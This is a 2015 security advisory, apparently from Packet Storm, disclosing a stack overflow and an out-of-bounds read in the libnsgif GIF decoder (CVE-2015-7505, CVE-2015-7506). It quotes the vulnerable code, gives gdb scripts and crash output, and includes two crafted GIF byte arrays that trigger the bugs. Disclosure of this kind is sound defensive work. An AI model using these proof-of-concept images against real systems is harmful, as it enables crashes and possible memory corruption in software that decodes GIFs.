what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Libnsgif 0.1.2 Stack Overflow / Out-Of-Bounds Read

Libnsgif 0.1.2 Stack Overflow / Out-Of-Bounds Read
Posted Dec 17, 2015
Authored by Hans Jerry Illikainen

Libnsgif version 0.1.2 suffers from stack overflow and out-of-bounds read vulnerabilities.

tags | advisory, overflow, vulnerability
advisories | CVE-2015-7505, CVE-2015-7506
SHA-256 | d53a9d5fac2511420bc71e8fceb0367db6d018335d2f3c8a2c530b88f9f9e266

Libnsgif 0.1.2 Stack Overflow / Out-Of-Bounds Read

Change Mirror Download

Overview
========

Libnsgif[1] is a decoding library for GIF images. It is primarily
developed and used as part of the NetSurf project.

As of version 0.1.2, libnsgif is vulnerable to a stack overflow
(CVE-2015-7505) and an out-of-bounds read (CVE-2015-7506) due to the way
LZW-compressed GIF data is processed.


Details
=======

src/libnsgif.c #80..133:
,----
| /* Maximum LZW bits available
| */
| #define GIF_MAX_LZW 12
| [...]
| static int table[2][(1 << GIF_MAX_LZW)];
| static unsigned char stack[(1 << GIF_MAX_LZW) * 2];
`----

src/libnsgif.c #423..628:
,----
| static gif_result gif_initialise_frame(gif_animation *gif) {
| [...]
| if (gif_data[0] > GIF_MAX_LZW)
| return GIF_DATA_ERROR;
| [...]
| }
`----


src/libnsgif.c #751..1053:
,----
| gif_result gif_decode_frame(gif_animation *gif, unsigned int frame) {
| [...]
| /* Initialise the LZW decoding
| */
| set_code_size = gif_data[0];
| [...]
| code_size = set_code_size + 1;
| clear_code = (1 << set_code_size);
| end_code = clear_code + 1;
| max_code_size = clear_code << 1;
| max_code = clear_code + 2;
| [...]
| }
`----


src/libnsgif.c #1145..1169:
,----
| void gif_init_LZW(gif_animation *gif) {
| [...]
| *stack_pointer++ =firstcode;
| }
`----


src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
| code = gif_next_code(gif, code_size);
| [...]
| incode = code;
| if (code >= max_code) {
| *stack_pointer++ = firstcode;
| code = oldcode;
| }
|
| /* The following loop is the most important in the GIF decoding cycle as every
| * single pixel passes through it.
| *
| * Note: our stack is always big enough to hold a complete decompressed chunk. */
| while (code >= clear_code) {
| *stack_pointer++ = table[1][code];
| new_code = table[0][code];
| if (new_code < clear_code) {
| code = new_code;
| break;
| }
| *stack_pointer++ = table[1][new_code];
| code = table[0][new_code];
| if (code == new_code) {
| gif->current_error = GIF_FRAME_DATA_ERROR;
| return false;
| }
| }
|
| *stack_pointer++ = firstcode = table[1][code];
| [...]
| oldcode = incode;
| [...]
| }
`----


CVE-2015-7505
=============

Since `gif_next_LZW()' writes onto the stack so long as `code' is at
least `clear_code', an overflow may eventually occur while processing a
maliciously crafted image.

Using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x stack.py --args ./nsgtk stack.gif
| [...]
| stack overflow: ptr: 0x968903, end of stack: 0x968900 (+3)
| stack overflow: ptr: 0x968904, end of stack: 0x968900 (+4)
| stack overflow: ptr: 0x968905, end of stack: 0x968900 (+5)
| stack overflow: ptr: 0xf0000968906, end of stack: 0x968900 (+16492674416646)
|
| Program received signal SIGSEGV, Segmentation fault.
| 0x000000000051a890 in gif_next_LZW (gif=0xbccc00) at src/libnsgif.c:1210
| 1210 *stack_pointer++ = table[1][code];
| (gdb)
`----


stack.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| stack_pointer = get_hex("stack_pointer")
| stack = get_hex("&stack")
| stack_size = get_hex("sizeof stack / sizeof *stack")
| stack_end = stack + stack_size
|
| table_size = get_hex("sizeof table / sizeof **table / 2")
| code = get_hex("code")
|
| if stack_pointer > stack_end:
| print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
| (stack_pointer, stack_end, stack_pointer - stack_end))
| if code >= table_size:
| print("out-of-bounds read: code: %d (+%d)" %
| (code, code - table_size + 1))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
|
| gdb.execute("run")
`----


stack.gif:
,----
| unsigned char stack[] = {
| /* GIF87a */
| 0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
|
| /* gif_initialise() */
| 0x04, 0x00, /* gif->width */
| 0x04, 0x33, /* gif->height */
| 0x00, /* gif->global_colours */
| 0x00, /* gif->background_index */
| 0x00, /* gif->aspect_ratio */
|
| /* gif_initialise_frame() */
| 0x2c, /* GIF_IMAGE_SEPARATOR */
| 0x00, 0x00, /* offset_x */
| 0x00, 0x00, /* offset_y */
| 0x1b, 0x00, /* width */
| 0x04, 0x00, /* height */
| 0x00, /* flags */
| 0x04, /* code size */
| 0x0d, /* block_size */
|
| /* image data */
| 0x10, 0xcb,
| 0x41, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3,
|
| /* end of image data */
| 0x00,
|
| /* end of .gif */
| 0x3b
| };
`----


CVE-2015-7506
=============

If `set_code_size' is 0xc, `clear_code' is assigned a value of 4096.
Since the while-loop in `gif_next_LZW()' executes so long as `code >=
clear_code', an out-of-bounds read might occur due to `code' being used
to dereference `table' (2d array * 4096). A boundary check exist in
that if `code >= max_code', it's assigned the value of `oldcode' --
however, the result may still exceed `max_code' due to the bookkeeping
of the *original* value:

src/libnsgif.c #1172..1237:
,----
| static bool gif_next_LZW(gif_animation *gif) {
| [...]
| incode = code;
| if (code >= max_code) {
| *stack_pointer++ = firstcode;
| code = oldcode;
| }
| [...]
| oldcode = incode;
| [...]
| }
`----

Again, using NetSurf as an example:

,----
| ~/netsurf-all-3.3/netsurf$ gdb -x oob.py --args ./nsgtk oob.gif
| [...]
| out-of-bounds read: code: 6670 (+2575)
| out-of-bounds read: code: 7999 (+3904)
`----


oob.py:
,----
| class Breakpoint(gdb.Breakpoint):
| def stop(self):
| stack_pointer = get_hex("stack_pointer")
| stack = get_hex("&stack")
| stack_size = get_hex("sizeof stack / sizeof *stack")
| stack_end = stack + stack_size
|
| table_size = get_hex("sizeof table / sizeof **table / 2")
| code = get_hex("code")
|
| if stack_pointer > stack_end:
| print("stack overflow: ptr: 0x%x, end of stack: 0x%x (+%d)" %
| (stack_pointer, stack_end, stack_pointer - stack_end))
| if code >= table_size:
| print("out-of-bounds read: code: %d (+%d)" %
| (code, code - table_size + 1))
| return False
|
| def get_hex(arg):
| res = gdb.execute("print/x %s" % arg, to_string=True)
| x = res.split(" ")[-1].strip()
| return int(x, 16)
|
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1210")
| Breakpoint("netsurf-all-3.3/libnsgif/src/libnsgif.c:1216")
|
| gdb.execute("run")
`----


oob.gif:
,----
| unsigned char oob[] = {
| /* GIF87a */
| 0x47, 0x49, 0x46, 0x38, 0x37, 0x61,
|
| /* gif_initialise() */
| 0x04, 0x00, /* gif->width */
| 0x04, 0x33, /* gif->height */
| 0x00, /* gif->global_colours */
| 0x00, /* gif->background_index */
| 0x00, /* gif->aspect_ratio */
|
| /* gif_initialise_frame() */
| 0x2c, /* GIF_IMAGE_SEPARATOR */
| 0x00, 0x00, /* offset_x */
| 0x00, 0x00, /* offset_y */
| 0x1b, 0x00, /* width */
| 0x04, 0x00, /* height */
| 0x00, /* flags */
| 0x0c, /* code size */
| 0x0d, /* block_size */
|
| /* image data */
| 0x10, 0xcb,
| 0x41, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3, 0xf3,
| 0xf3,
|
| /* end of image data */
| 0x00,
|
| /* end of .gif */
| 0x3b
| };
`----


Solution
========

Both vulnerabilities are fixed in git HEAD[2].



Footnotes
_________

[1] [http://www.netsurf-browser.org/projects/libnsgif/]

[2] [http://source.netsurf-browser.org/libnsgif.git/]


Hans Jerry Illikainen
Login or Register to add favorites

File Archive:

February 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    11 Files
  • 2
    Feb 2nd
    0 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    0 Files
  • 6
    Feb 6th
    0 Files
  • 7
    Feb 7th
    0 Files
  • 8
    Feb 8th
    0 Files
  • 9
    Feb 9th
    0 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    0 Files
  • 13
    Feb 13th
    0 Files
  • 14
    Feb 14th
    0 Files
  • 15
    Feb 15th
    0 Files
  • 16
    Feb 16th
    0 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close